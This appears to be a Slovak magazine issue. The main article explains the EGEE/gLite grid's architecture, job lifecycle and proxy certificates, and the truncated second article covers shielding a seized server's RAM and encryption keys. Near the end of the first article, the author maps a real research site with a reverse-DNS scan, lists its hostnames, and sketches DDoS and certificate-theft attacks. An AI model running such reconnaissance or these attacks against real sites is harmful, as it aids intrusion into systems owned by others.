    Neodpustím si malú úvahu : Scientific Linux je distribúcia ktorú spravuje CERN a Fermilab (centrum časticovej fyziky v USA): Je založená na RedHat Enterprise Linux-e a tieto dve inštitúcie majú s RedHatom zmluvu na takmer všetko načo sa zmluva dá spraviť. Otázka znie, načo je im vlastná distribúcia ? Prečo nemôžu jednoducho zobrať nejakú už existujúcu a pracovať len na adaptácii svojho software-u pre ňu ? (to je filozofická otázka, odpoveď je zrejme jasná, t.j. môžu odôvodniť pumpovanie financií do IT oddelenia)



    Ak ponúknutý software danej VO nevyhovuje požiadavkám úlohy, je možné skompilovať si svoje vlastné nástroje (toto má samozrejme svoje obmedzenia - počítač na ktorom sa úloha vykonáva má obmedzené prostriedky, tak isto čas ktorý môže úloha stráviť na danom počítači je obmedzený). Predpokladá sa, že používatelia budú posielať veľa úloh, ktoré by mali byť zrátané podľa možnosti naraz. Nerád by som použil slovo paralelne, keďže tá sieť nie je primárne stavaná na to, aby to bolo paralelné, aj keď je možné špecifikovať v rámci úlohy túto požiadavku - tzv. MPI úlohy.



    Oficiálne tkvie model virtuálnych organizácií v spôsobe akým vedci pracujú (evidentne nehľadali inšpiráciu v SR). Vedci sa tiež grupujú do skupín, ktoré spolupracujú na tom istom probléme, používajú ten istý software a zdieľajú tie isté dáta.



    EGEE projekt, ako aj Európska Únia predpokladajú, že sa do používania siete GRID zapojí aj súkromný sektor a to v takej miere, že ho bude môcť financovať. Keďže pre každú úlohu sa zaznamenáva koľko minula prostriedkov, môžu sa nahodiť ceny a môže sa na tom začať zarábať. V tomto bode nastáva malá kolízia. Ako so už spomenul, na to, aby to-ktoré centrum prijalo a spracovalo úlohu danej VO, musí túto VO podporovať (t.j. služby centra o nej musia vedieť a musia autentifikovať ľudí z danej VO). Preto mi nie je celkom jasné ako chcú zabezpečiť férové poskytovanie prostriedkov, keďže veľké koncerny si môžu dovoliť platiť viac a teda si môžu dovoliť "kúpiť dané centrum". Čo je koniec koncov aj prípad 2 zo 4och centier v SR, ktoré sú plne financované z CERNu (čo sa počítačového vybavenia týka) a teda podporujú len VO z CERNu. Obávam sa preto, že tento model môže v krajinách ako je SR viesť k stavu: čo centrum, to vlastná VO a nikto nikoho nikam nepustí, nieto ešte zdieľať CPU/HDD. (ale to je môj subjektívny názor).


    Cena celého projektu EGEE (aj so železom, aj keď teda to priamo EGEE neposkytlo) je momentálne ~47 150 000 € [5]. gLite používa Apache licenciu a časť jeho zdrojových kódov možno nájsť v [7]. Dokumentácia je v [13]. gLite je zmes mnohých produktov a mnohých technológií. Bolo adaptované množstvo softvéru, ktorý už bol napísaný a použitý v iných projektoch (Open Science Grid, NorduGrid, TORQUE/PBS, LCG). V súčasnosti sú v produkcii verzie 3.1 a 3.2. 3.2 je čisto 64 bitová. Okrem samotnej siete centier, existuje sieť takzvaných PPS - Pre Production Sites (podľa posledného diania sa premenujú na "Early Adopters"), čo sú centrá, kde sa testuje a ladí gLite ktorí sa práve vyvíja a nie je vhodný pre produkčné prostredie.



    Projekt EGEE je momentálne vo svojej tretej fáze (projekt sa oficiálne volá EGEE III). 1. Mája 2010 končí a nastane prechodné obdobie. Nahradiť by ho mal projekt EGI - European Grid Initiative. Medzi zmenami, ktoré prinesie je napríklad odbremenenie ľudí sledujúcich stav v regiónoch (pre nás je to federácia strednej Európy) tým, že rozseká zodpovednosť za stav centier na jednotlivé štáty a ich národné gridové iniciatívý (NGI - National Grid Initiatives). Ako to už v takýchto veľkých projektoch býva, zatiaľ sa nevie, čo všetko sa bude meniť a zmeny budú aj tak prebiehať skôr kontinuálne - ako reakcia na požiadavky a skúsenosti používateľov a VO.



    Teraz trošku k technickým detailom a realizácii tejto siete. Základom je centrum, ktorého jednotlivé (typické) časti možno schematicky znázorniť nasledovne:


    Internet
    |
    +--------+-------------+---+----+-------+--------+---------+ =======================
    | | | | | | |
    +----+ +------+ +------+ +----+ +----+ +-----+ +-------+ Vonkajšia sieť
    | IS | | CE | +---| CE | | CE | | SE | | MON | | VOBOX | - host certifikáty
    +----+ | LRMS | | +------+ +----+ +----+ +-----+ +-------+ - GOC DB
    +------+ | | | | |
    | | +------+ | | | =======================
    | H| | LRMS |---+ | H |
    HBA | B| +------+ | B |
    | A| | | A |
    | | HBA| | |
    +----+ | +----+ | |
    +----+| | +----+|-------+ | Vnutorná
    +----+|+ | +----+|+ | sieť
    +- | WN |+ +-| WN |+ |
    | +----+ +----+ |
    | | |
    +-----+ +-----+ |
    | NFS | | NFS |----------------------------------+ =======================
    +-----+ +-----+


    Je to schematické znázornenie vzťahov jednotlivých služieb a komponentov. Delenie na časti (vonkajšia/vnútorná) je z pohľadu vonkajšieho prístupu (t.j. do vnútornej siete sa nedostanete, no z nej sa dostanete von). Časť označená ako "vonkajšia sieť" musí byť viditeľná z internetu. Zvyšok je už na administrátoroch, ktorí si musia uvedomiť, že medzi službami sú vzťahy (napr hostbased autentifikácia), ktoré musia byť dodržané, inak to nebude fungovať.



    IS - Informačný systém : Poskytuje statické (počet a typ služieb CE/SE/MON/VOBOX/WN, tagy pre software VO a iné) ako aj dynamické (počet úloh ktoré sa rátajú, počet zostávajúceho voľného miesta a pod.) informácie. Tento typ IS používa BDII - Berkeley Database Information Index, čo je v podstate LDAP. Informácie sa z jednotlivých počítačov "vonkajšej siete" (na každom beží proces resource BDII) zbierajú na jeden počítač (site BDII) a sú k dispozícii pre top-level BDII ktorá je v rámci regiónu databázou všetkých centier a ich stavov (top-level BDII sa nenachádza v centre). BDII používa tzv. GLUE schému [3] - strom informácií o každej službe a poskytovaných prostriedkoch (ako aj ďalšie atribúty). Tieto informácie nie sú nijako chránené a sú čitateľné kýmkoľvek (bez nutnosti mať osobný certifikát). Služba, ktorá ich v peknej forme prezentuje, je GStat [4]. Všetky počítače poskytujúce služby na vonkajšej sieti musia mať svoj host certifikát a musia byť zapísané v Grid Operation Center Databáze - kde sú okrem týchto informácií uvedené aj kontakty na administrátorov/bezpečnostných technikov ako aj informácie o plánovaných odstávkach (scheduled downtime).



    CE - Computing Element : Skupina počítačových zdrojov (farma/klaster) zabezpečujúcich spustenie úlohy. CE obsahuje Grid Gate - všeobecné rozhranie medzi internetom a klastrom, ktoré mapuje požiadavku používateľa na lokálne konto, LRMS - Local Resource Management System (tiež občas nazývaný batch system) zabezpečujúci správu úloh ktoré sa vykonávajú (úlohy sú vo frontách, na vykonanie sa pošle tá čo je navrchu) a samotný klaster pozostávajúci z počítačov - Worker Nodes, kde s úloha spustí (presnejšie príkaz v nej určený). Úloha beží vždy na jednom počítači (t.j. jedna konkrétna úloha nemôže bežať naraz na 2 rôznych počítačoch, no môže používať dve (a viac) jadrá procesora). Z obrázka je vidno, že je službu LRMS možné nainšťalovať zvlášť. Medzi WN a LRMS/CE musí byť hostbased autentifikácia pre ssh, pretože na skopírovanie výstupu úlohy sa používa scp (áno dalo by sa to spraviť aj inak, no WLCG/EGEE to vyžaduje takto). Z obrázka tiež vidno, že WN zdieľajú NFS server, kde si VO inštalujú svoj software (napr. tak, že pošlú úlohu, ktorá ho nainštaluje). Je niekoľko rôznych LRMS systémov a niekoľko rôznych CE ktoré môžu byť vzájomne použité. Každé sa vyznačuje inými prednosťami a je na centre, ktoré sa rozhodne použiť (zväčša je to dané požiadavkami VO ktoré sú podporované). Striktne vzaté CE zodpovedá jednej fronte v rámci LRMS a je určené ako:


    CE ID = <grid gate hostname>:<port>/<typ Grid Gate-u>-<typ LRMS>-<meno fronty>

    napríklad


    oberon.hep.kbfi.ee:2119/jobmanager-lcgpbs-long
    sbgce2.in2p3.fr:8443/cream-pbs-cms



    SE - Storage Element : Poskytuje jednotný prístup k zdrojom na ukladanie dát. Väčšina SE je manažovaných cez SRM, Storage Resource Manager - služba, ktorá poskytuje veci ako transparentnú migráciu dát z diskov na pásky, rezervácia miesta, jednotné rozhranie pre prístup k dátam, podporuje rôzne protokoly pre prístup k dátam a pod. Najčastejšie používané SE sú DPM (len disky), dCache (disky a pásky) a CASTOR (hlavne pásky s cachovaním na disky).



    MON - Ďalší typ informačného systému sa volá R-GMA (Relational Grid Monitoring Architecture) a je zahrnutý v službe MON. Na rozdiel od, na LDAP založenej BDII, poskytuje SQL-u podobné príkazy umožňujúce lepšiu manipuláciu s dátami v databáze. Je sprostredkovaný servletmi (tomcat). Používa sa napríklad na uchovávanie histórie a súčasného stavu spracovaných úloh zo všetkých CE v rámci centra. Existencia dvoch rôznych informačných systémov v rámci GRIDu je historická. Vo verzii gLite 3.2 už tento typ informačného systému nefiguruje a spolu s ním ani tie CE ktoré ho vyžadujú.



    VOBOX - V prípade, že by danej VO nestačili štandardné služby ktoré centrum poskytuje, môže použiť počítač vyhradený len pre ňu a využiť ho na špecializované účely s ňou spojené.



    Okrem uvedených treba spomenúť aj službu WMS - Workload Management System. Nenachádza sa nutne v centre, no musí niekde existovať (aspoň jedna). Jej úlohou je prijímať úlohy od používateľov, priradiť im najvhodnejšie CE, zaznamenávať stavy týchto úloh a vrátiť používateľom výstup z úloh. Najvhodnejšie CE sa hľadá na základe požiadaviek udaných v úlohe a identifikovaním vhodných zdrojov z top-level BDII. V prípade, že sú v úlohe špecifikované aj vstupné súbory, hľadá sa CE tak, aby bolo podľa možnosti čo najbližšie (geograficky) Storage Element-u, ktorý tieto súbory poskytuje. Úloha je potom poslaná na spracovanie do centra kde sa dané CE nachádza. Bližšie o WMS v [8].



    Poslednou technickou záležitosťou, ktorú by som chcel opísať je životný cyklus úlohy. Tá pri bezproblémovej prevádzke prechádza stavmi SUBMITTED, WAITING, READY, SCHEDULED, RUNNING (REALY RUNNIG), DONE, CLEARED [1] :

    1. Používateľ si vypýta od vhodnej certifikačnej autority (v SR je to SAV [9]) osobný certifikát a kľúč. Následne sa zaregistruje v nejakej VO v rámci ktorej chce pôsobiť (čiže jej programové vybavenie najviac vyhovuje jeho potrebám). V závislosti na VO môže dostať prístupové meno a heslo na počítač s pred-inštalovanou službou User Interface (UI). User Interface je súborom programov umožňujúcich
      • vytvorenie tzv. proxy certifikátu (s možnosťou rozšírenia o ACL atribúty používateľa v danej VO)
      • posielanie úloh do siete GRID a to buď automatizovanou formou (t.j. cez WMS), alebo priamym kontaktovaním daného CE
      • interakciu s SE/SRM
      • pýtanie sa informačného systému GRIDu (BDII) na stav dostupných prostriedkov (CPU/HDD), priebeh úloh ktoré už boli zadané (Logging and Bookkeeping), sťahovanie výsledkov týchto úloh (WMS) a pod.


    2. Používateľ sa prihlási na UI. Skopíruje si naň svoj nový certifikát + kľúč (~/.globus/usercert.pem, ~/.globus/userkey.pem). Na to, aby sa mohol autentifikovať voči sieti si vytvorí tzv proxy certifikát. Pri ďalšom použití sa už pracuje pomocou proxy certifikátu. Jeho platnosť je zväčša 24 hodín. Vytvoriť proxy certifikát je možné aj s pomocou služby VOMS (Virtual Organisation Membership Service), ktorá do proxy certifikátu pridá rozšírenie obsahujúce informácie o VO samotnej, skupiny do ktorej v rámci VO používateľ patrí a úlohy ktoré vo VO zastupuje (napr. že je administrátor).


    3. Používateľ napíše úlohu a pošle ju na spracovanie do WMS. Na WMS sa skopírujú súbory definované v InputSandbox. WMS mu vráti unikátny identifikátor úlohy, pomocou ktorého sa môže pýtať na stav. Identifikátor má tvar https://WMShost:port/hash. Používateľ si ho v princípe nemusí pamätať, pretože sa na UI nachádzajú nástroje, ktoré mu vrátia zoznam identifikátorov pre všetky jeho úlohy. Toto "poslanie úlohy na spracovanie" je zaznamenané službou Logging nad Bookkeeping (LB). Stav úlohy je v rámci GRIDu nastavený na SUBMITTED.


    4. WMS hľadá najvhodnejšie CE na vykonanie úlohy. Robí to tak, že sa pozrie do svojej časti ktorá sa volá Information SuperMarket. Je to cache, kde je zoznam všetkých centier, stav ich Computing Elementov a Storage Elementov. Tento zoznam má z top-level BDII. Taktiež používa (zatiaľ nespomínanú službu) Logical File Catalog, aby z mena súborov v úlohe zistila na ktorom konkrétnom SE sa nachádzajú (súbor v GRIDe môže byť reprezentovaný niekoľkými tipmi mien od GUID (ktorý je podobný tomu čo dáva uuidgen) až po niečo tipu srm://se_hostname/dpm/home/dteam/mojedata.tar.gz. Súbor môže byť replikou existujúceho). V prípade, že sa začali vyberať prostriedky, t.j. WMS pracuje na tom aby našla CE pre úlohu, zmení (a zapíše do LB) sa stav na WAITING.


    5. WMS zabalí informácie o úlohe do malého balíčka a je pripravený ho poslať na CE (pripraví niečo čo sa volá wrapper script). Do LB sa zapíše nový stav - READY. (súbory z InputSandboxu sa zatiaľ nekopírujú a ostávajú na WMS)


    6. CE prijme wrapper script od WMS. Overí si, či je používateľ, reprezentovaný proxy certifikátom v poriadku a ak áno, namapuje ho na nejakého lokálneho a dá úlohu do správnej LRMS fronty. Do LB sa zapíše nový stav - SCHEDULED.


    7. LRMS pošle úlohu na vhodný Worker Node. Až teraz sú súbory z InputSandboxu skopírované na tento WN. Úloha sa začne vykonávať. Stav úlohy v LB sa zmení na RUNNING.
      V prípade, že WMS nenájde vhodné CE, alebo LRMS nenájde vhodný WN (z akýchkoľvek príčin), prípadne sa na CE čosi pokazí, tak sa WMS pokúsi znova priradiť úlohu danému CE
      (štandardný počet pokusov o priradenie je 3x ak v úlohe nie je stanovené inak). Ak sa to nepodarí, do LB sa zapíše stav ABORTED. Ak potom používateľ pošle žiadosť o zrušenie úlohy, zapíše sa do LB stav CANCELED.


    8. Ak úloha dobehla bez chyby, tak sú súbory, ktoré boli označené v OutputSandbox-e skopírované na WMS. Do LB sa zapíše nový stav - DONE.


    9. Používateľ si na základe identifikátor úlohy vypýta od WMS OutputSandbox. Do LB sa zapíše stav CLEARED.


    Stav úlohy sa dá po celú dobu z UI sledovať pomocou služby LB. Vykonávanie úlohy a celá réžia okolo toho je autonómna vzhľadom na pripojenie používateľa (t.j. používateľ nemusí ostať nalogovaný na UI po celú dobu vykonávania úlohy).


    Komunikácia medzi službami je šifrovaná a autentifikácia sa deje s použitím proxy certifikátu používateľa. Proxy certifikát má v sebe dočasne vygenerovaný privátny kľúč, dočasne vygenerovaný certifikát podpísaný používateľom a certifikát používateľa. Proxy certifikát má krátke trvanie (12 - 24 hodín). Dôvod prečo sa nepoužíva priamo certifikát používateľa a jeho kľúč je ten, že niektoré služby musia občas vystupovať v úlohe používateľa a na to aby sa mohli autentifikovať potrebujú privátny kľúč no a privátny kľúč používateľa nemôže ísť len tak do sveta. Krátke trvanie proxy certifikátu môže byť nevýhodou pre úlohy s dlhším trvaním než je doba jeho vypršania. Toto sa obchádza pomocou MyProxy server-a, ktorý periodicky predlžuje platnosť proxy certifikátov. Ak by niekto nepovolaný odcudzil tento certifikát, tak by mohol (na dobu trvania) vystupovať ako daný používateľ (v podstate credential theft) a mal by teda prístup k adekvátny zdrojom (a čo je ešte horšie - používateľ má v rámci VO rôzne úlohy (Roles) a ak je náhodou administrátor VO, mohol by niekto s týmto odcudzeným certifikátom narobiť pekný bordel). O tomto riziku sa vie a toleruje sa s vedomím, že útočník má maximálne "24" hodín (doba platnosti proxy certifikátu) na to aby vykonal to čo chcel.



    Ako som už uviedol, informačný systém je nešifrovaný a prístupný každému napr. cez GStat [4]. Napríklad také centrum LIP-Lisabon, podľa GStatu (http://goc.grid.sinica.edu.tw/gstat/LIP-Lisbon/) má 4 CEčka, 2xSE, 1 proxy server a WMS. Dokonca sú tam hostname-y serverov a ich služby. Takže len na základe tohoto nástroja možno získať slušnú predstavu o centre. No a keďže reverzné DNS je povinné pre všetky stroje v GRIDe, tak môžeme spraviť rýchly scan (na priamu otázku musí dať DNS odpoveď) :



    k0fein@macgyver:~$ host srm01.lip.pt
    srm01.lip.pt A 193.136.90.58

    k0fein@macgyver:~$ whois 193.136.60.58
    ...
    inetnum: 193.136.90.0 - 193.136.91.255
    netname: LIP-PT-1
    descr: Laboratorio de Instrumentacao e Particulas
    ...
    k0fein@macgyver:~$ for i in `seq 2 253`; do host 193.136.90.$i | grep -v "NX"; done
    22.90.136.193.in-addr.arpa domain name pointer ce02.lip.pt.
    23.90.136.193.in-addr.arpa domain name pointer ce01-atlas.lip.pt.
    24.90.136.193.in-addr.arpa domain name pointer ce01-cms.lip.pt.
    25.90.136.193.in-addr.arpa domain name pointer ce01-ibergrid.lip.pt.
    26.90.136.193.in-addr.arpa domain name pointer ce02-atlas.lip.pt.
    27.90.136.193.in-addr.arpa domain name pointer ce02-cms.lip.pt.
    28.90.136.193.in-addr.arpa domain name pointer ce01.lip.pt.
    31.90.136.193.in-addr.arpa domain name pointer sitebdii01-ibergrid.lip.pt.
    32.90.136.193.in-addr.arpa domain name pointer se02.lip.pt.
    34.90.136.193.in-addr.arpa domain name pointer crab01.lip.pt.
    35.90.136.193.in-addr.arpa domain name pointer i2g-ui02.lip.pt.
    37.90.136.193.in-addr.arpa domain name pointer mon01.lip.pt.
    42.90.136.193.in-addr.arpa domain name pointer phedex.lip.pt.
    43.90.136.193.in-addr.arpa domain name pointer se05.lip.pt.
    45.90.136.193.in-addr.arpa domain name pointer squid-cms.lip.pt.
    46.90.136.193.in-addr.arpa domain name pointer site-bdii.lip.pt.
    56.90.136.193.in-addr.arpa domain name pointer ui01.lip.pt.
    57.90.136.193.in-addr.arpa domain name pointer squid01.lip.pt.
    58.90.136.193.in-addr.arpa domain name pointer srm01.lip.pt.
    59.90.136.193.in-addr.arpa domain name pointer gftp02.lip.pt.
    60.90.136.193.in-addr.arpa domain name pointer gftp03.lip.pt.
    61.90.136.193.in-addr.arpa domain name pointer gftp04.lip.pt.
    62.90.136.193.in-addr.arpa domain name pointer jeep.lip.pt.
    63.90.136.193.in-addr.arpa domain name pointer ui-atlas.lip.pt.
    64.90.136.193.in-addr.arpa domain name pointer ui-cms.lip.pt.
    65.90.136.193.in-addr.arpa domain name pointer lfc01.lip.pt.
    77.90.136.193.in-addr.arpa domain name pointer lfc02.lip.pt.
    86.90.136.193.in-addr.arpa domain name pointer ui02.lip.pt.
    87.90.136.193.in-addr.arpa domain name pointer ii03.lip.pt.
    89.90.136.193.in-addr.arpa domain name pointer ce04.lip.pt.
    91.90.136.193.in-addr.arpa domain name pointer wms01.lip.pt.
    92.90.136.193.in-addr.arpa domain name pointer ce03.lip.pt.
    93.90.136.193.in-addr.arpa domain name pointer ui04.lip.pt.
    94.90.136.193.in-addr.arpa domain name pointer i2g-site-bdii.
    100.90.136.193.in-addr.arpa domain name pointer vclip01.lip.pt.
    103.90.136.193.in-addr.arpa domain name pointer i2g-voms.lip.pt.
    104.90.136.193.in-addr.arpa domain name pointer voms.lip.pt.
    108.90.136.193.in-addr.arpa domain name pointer i2g-ce01.lip.pt.
    109.90.136.193.in-addr.arpa domain name pointer i2g-mon01.lip.pt.
    110.90.136.193.in-addr.arpa domain name pointer i2g-ui01.lip.pt.
    111.90.136.193.in-addr.arpa domain name pointer i2g-ras01.lip.pt.
    112.90.136.193.in-addr.arpa domain name pointer i2g-ras02.lip.pt.
    120.90.136.193.in-addr.arpa domain name pointer pps-ui01.lip.pt.
    121.90.136.193.in-addr.arpa domain name pointer pps-sbdii.lip.pt.
    122.90.136.193.in-addr.arpa domain name pointer pps-tbdii.lip.pt.
    123.90.136.193.in-addr.arpa domain name pointer pps-mon.lip.pt.
    124.90.136.193.in-addr.arpa domain name pointer pps-px01.lip.pt.
    125.90.136.193.in-addr.arpa domain name pointer pps-lfc01.lip.pt.
    126.90.136.193.in-addr.arpa domain name pointer pps-voms01.lip.pt.
    127.90.136.193.in-addr.arpa domain name pointer pps-ce01.lip.pt.
    128.90.136.193.in-addr.arpa domain name pointer pps-wms01.lip.pt.
    129.90.136.193.in-addr.arpa domain name pointer pps-srm01.lip.pt.
    130.90.136.193.in-addr.arpa domain name pointer pps-ce02.lip.pt.
    131.90.136.193.in-addr.arpa domain name pointer pps-dpm.lip.pt.
    156.90.136.193.in-addr.arpa domain name pointer px01.lip.pt.


    Zrazu zbadáme, že je tam niekoľko User Interface-ov (napr. ui-atlas.lip.pt, ui-cms.lip.pt), alebo že tam majú v skutočnosti 2 centrá, jedno normálne a jedno PPS (Pre Production Site) o ktorom vieme, že sa tam testujú nové verzie gLite-u, ktoré ešte len majú prísť do produkcie, takže celá tá pps časť je "z definície" nestabilná. S takto oťukaným rozsahom (a to sme reálne nepingli ani jeden stroj len sme sa slušne a legálne spýtali DNSka na celý rozsah) sa dajú robiť ďalšie zaujímavé veci - obzvlášť s UIčkami, tie sú také obľúbené, prípadne nejaký ten DDoS na CEčka (na hocičo kde beží tomcat a nechať ho vyžrať celú pamäť) a podobne. Zaujímavá je taktiež myšlienka nájsť si maličkú farmičku, ktorá sa ledva drží na nohách (zväčša mimo EU/USA/Rusko) a kde je vidieť, že jej admini sú radi, že sú radi, nieto ešte aby uvažovali o nejakej bezpečnosti. Dalo by sa oťukať si ju, chvíľu z vnútra očuchávať a po ukradnutí osobných certifikátov používateľov sa rozliezť po celej sieti.



    Ako vidno GRID a jeho časti sú dosť friendly a natŕčajú riť. Nie že by bezpečnosť jednotlivých služieb (česť výnimkám) nebola na dostatočnej úrovni, no platí, že silu reťaze určuje najslabšie ohnivko a v GRIDe je veľa vecí ktoré pokrivkávajú. Netvrdím, že je táto forma realizácie mohutného pomalého "paralelného/distribuovaného stroja" dobrá, ani že je zlá. Z hľadiska administrácie je to rozhodne jednoduchšie ako nejaká komplikovaná topológia firewallov, routerov, demilitarizovanej zóny a ja neviem ešte čoho všetkého. To samozrejme neznamená, že keď tie mašiny necháme len tak napospas osudu, že sa do nich skôr či neskôr niekto nezahryzne. Taktiež, vedecká obec bola, je a bude plná pacifistov a open-minded ľudí, ktorí chápu (predpokladajú), že spoločné úsilie a jeho výsledky sú tu pre všetkých a preto očakávajú, že sa neukojení teenageri budú zabávať pri niečom inom a nie pri obmedzovaní prevádzky tejto siete (aj keď teda konšpiračných teórií by sa dalo vymyslieť mnoho, od zneužitia CPU na lámanie hesiel až po úmyselné blokovanie výskumu a priemyselnú špionáž).



    Celý projekt EGEE - aj keď už končí - sa podľa mňa ešte nerozdýchal a neukázal svoj plný potenciál. Bude to beh na dlhú trať a GRID sa ešte veľa krát rozkašle kým začne podávať solídne výkony (a fakticky pôjde k hraniciam svojich možností). Chýba mi v tom poriadok a celková snaha o stabilný beh a tunning. Zatiaľ mi to príde ako kopa kódu zlátaného na nohe, ktorá sa zo všetkou božou, pozemskou a pekelnou mocou ako tak drží nad vodou. Bez nejakej jasnej koncepcie alebo návrhu ktorého by sa vývojarí držali. A pri tom by GRID mohol dokázať oveľa viac.



    Na záver by som ešte povedal pár myšlienok ohľadom bezpečnosti a stavu EGEE projektu v SR. Momentálne asi najhoršia vec, čo sa môže stať, je odcudzenie certifikátu (Rakúsko malo v tomto svoje skúsenosti). Kedže gLite beží na Scientific Linux-e čo je RHEL vec, tak všetky neduhy RedHatu Scientific Linux dedí a pridáva nejaké svoje navyše. Napríklad v septembri 2009 bežala veľká časť GRIDu na neopatchovanom jadre 2 tyždne (problém s niektorými modulmi a ešte niečim). Síce boli moduly vypnuté no vraj tam bol ešte jeden nezávislý problém, ktorý umožňoval eskaláciu práv. No a RedHat nebol schopný vydať nové jadro (Debian ho pre stable/testing vydal na druhy deň a pre unstable ho mal do týždňa). V prípade, že je centrum kompromitované, tak existuje postup ktorý musia admini/bezpečnostní technici urobiť, ktorý (ak ho poznajú a dodržujú), do 4 hodín od objavenia incidentu zmrazí centrum a do 24 ho vylúči z GRIDu. Zatiaľ boli ohlásené incidenty hlavne z Francúzka a Nemecka (veľké centrá).



    No a v neposlednom rade (určite v SR, neviem ako inde) sa stane, že je administrátorom človek ktorý tomu nerozumie do hĺbky, prípadne si neuvedomuje závažnosť prieniku, alebo je mu to jedno. Keby nebolo first line support-u, tak si dovolím tvrdiť, že nechodí ani jedno centrum. (Touto formou ich zdravím a ďakujem za vynikajúcu pomoc) V každom prípade minimálne do novembra minulého roku za administráciu a budovanie niektorých centier ľudia platení neboli (takže to bolo také hranie sa popri práci ktorú mali robiť oficiálne a realita bola taká, že im administrácia, ktorá bola novou vecou bez dobrého manuálu zabrala podstatnú časť dňa). Napriek tomu vládne priateľská kolegialita medzi centrami a je snaha držať kvalitu služieb na vysokej úrovni. Pokiaľ však bude gLite a jeho konfiguračné nástroje také aké sú (človek musel ručne aplikovať aj 7 zmien na to aby mohol vôbec použiť nástroj na konfiguráciu služieb a aj to si nebol istý že to naozaj funguje), tak sa z toho nikto nikdy nevysomári.



    V ČR je situácia o poznanie lepšia. Aj tie centrá vyzerajú trochu inak (kapacitne). Minimálne v Prahe majú veľké centrum, relatívne početnú skupinu ľudí, čo o tom aj niečo vedia (čiže nie že fyzik - študent, čo je rád, že si vie "naprogramovať" Hello World vo FORTRANe, alebo C++ sa ide starať o administráciu a bezpečnosť celého centra bez dokumentácie a bez pomoci) a sú dobre platení (v porovnaní so SR). Sú tuším zakladatelia VOCE - Virtual Organization for Central Europe, ktorú podporujú centrá celého regiónu strednej Európy. Vyvíjajú vlastný software na manažovanie a používanie programov z VOCE - Charon.



    Ja neviem, ale na Slovensku sa to vždy spraví "inak" a potom to tak vyzerá.



    Čakal som, že sa po GRIDe univerzity v SR vrhnú ako v Somálsku na chlieb, no nestalo sa. Čosi sa rieši (v rámci VOCE), ale pokiaľ je mi známe je to na úrovni diplomových prác , ale nie skutočná využiteľná veda (česť výnimkám), určite nie v množstve v akom by som to čakal (veď máme >10 univerzít. Ak má každá 5 fakúlt a každá fakulta 2 katedry, to by hneď mohlo byť 100 projektov ročne, no nie je) - takýto bol stav okolo roku 2006. Od vtedy sa ľady moc nepohli. Trávim administráciou centra už nejaký ten rok a vidím, že GRID naozaj potenciál má. Zatiaľ mi to však príde skôr ako pokus, než projekt s konkrétnymi cieľmi. Ako keby sa toho ľudia stále báli a neverili tomu. Aspoň na Slovensku. Uvidíme, čo prinesie budúcnosť.




    k0fein



    Niektoré úlohy, riešené v rámci VOCE - 2nd Internation Workshop on Grid Computing for Complex Problems (ďalšie príklady možno nájsť v [10,11]):


    • A Conception of Parallel Graphic Architecture for Large Grpahical Data Volume
      Visualization in Grid Architecture Environment
    • Statistical Response to the Point Defect of Magnetic Dot Array Simulated on
      Grid Platform
    • The Model of the Current Stellar Perturbations on the Oort Cloud
    • Parallel Implementation of Ant Colony Optimization Algorithms
    • Numerical Study on a Solid Bar with and without Plastic Heating - Further Way
      to Improve our Energy Conservation Equation
    • Effective Distributed Query Processing on Grid
    • Simulation of Avalanche Dynamics in a Computational Grid
    • Clusters, Grids and Molecules: Why Should Virtual Screening Preced
      Experimental High Throughput Screening
    • Modelling Speed of the Aircraft at the Single Computer and MPI of the
      Simliator
    • Parallel Grid Implementation for Laplacean Equation Computation by Gauss-
      Seidel Method


    Referencie:

    [1] gLite 3.1 User Guide

    [2] Atribúty JDL

    [3] GLUE Scheme Specification

    [4] GStat

    [5] EGEE Project 2009 Status

    [6] Simple Instruction Multiple Data

    [7] Zdrojové kódy k gLite

    [8] Dokumentácia k WMS

    [9] Slovak Certification Authority

    [10] 4th International Workshop on Grid Computing for Complex Problems

    [11] 5th International Workshop on Grid Computing for Complex Problems

    [12] Job Description Language

    [13] Dokumentácia gLite




    návrat na obsah

    čo ty na to ? diskusia




    Ochrana pred zhabaním


    Ako ochrániť svoje dáta pred neautorizovaným prístupom zo strany...vyššej moci? Vezmime si vzorový prípad: Mame niekde v datacentre uložený priemerný server. Chceme aby naše dáta v prípade zhabania neboli ohrozené, ale nemáme prostriedky na nepriestrelnú ochranu. Teda v ľubovoľný moment môže prísť vyššia moc, a server si fyzicky odniesť.


    Základom je pochopiteľne šifrovanie disku, o tom sa asi baviť netreba, a každý ho už zvláda. Trochu menej bežné je šifrovanie celého disku, ktoré rozhodne odporúčam. Za predpokladu že nechceme k serveru pri každom probléme behať s usb kľúčom, alebo bootovať cez PXE, pravdepodobne necháme nešifrovaný iba /boot a FS budeme odomykať na diaľku cez dropbear.


    Pár rokov dozadu by to bolo dostatočné riešenie. Ak by sa vyššia moc naozaj unúvala, server by bol ako prvé vypojený z elektriny a následne zbalený a odnesený. V dnešnej dobe sú ale v móde sexi krokodílky, napojené na UPSKU, ktoré sa pripichnú na napájací kábel. Server sa následne naloží na pojazdný vozík, a hybaj s ním do externej firmy. Vyššia moc si typicky nemôže dovoliť platiť drahých špecialistov, ale ak pracujú v externej spriaznenej firme, nie je s financiami problém. A chlapci majú potom dostatok času, aby nejak získali a následne analyzovali dump celej RAMky.


    Dump je možné získať napr. pomocou firewire(ktoré ale asi na serveri nenájdeme), špeciálnej PCI karty (PCI/PCIE porty sú pomerne časté), hotbootom, alebo na istotu coldbootom [1].


    Analýza získaného dumpu je tiež riešiteľný problém. Ak ideme po šifrovacích kľúčoch, k dispozícii sú napr. aes-keyfind a rsa-keyfind utilitky, ktoré dokážu nájsť v dumpe AES resp. RSA kľúče od prakticky ľubovolného programu. (pomocou rekonštrukcie tzv. key-schedule štruktúry) [1] Samotný kľúč by sa síce teoreticky dal schovať mimo RAM, napr. do CPU cache [viz. frozencache [2], prípadne TPM, ale citlivé dáta môžu byť často krát už v samotnom dumpe. V momente keď sa vyššej moci podarí získať dump RAMky, viac menej vyhrala.


    Ak sa chceme brániť, musíme na to teda ísť proaktívne. V momente keď zdetekujeme narušiteľa, musíme RAMku čo najrýchlejšie vymazať. Prvý nápad je pravdepodobne vypnutie stroja. To ale nemusí stačiť, pretože v momente keď zabavujúci spozoruje vypnutie stroja, mohol by duchaprítomne vytasiť dusíkový sprej a prebehnúť nim RAM moduly. Ak náhodou nie duchaprítomne, mohol by na to byt školený, podobne ako na krokodílky.


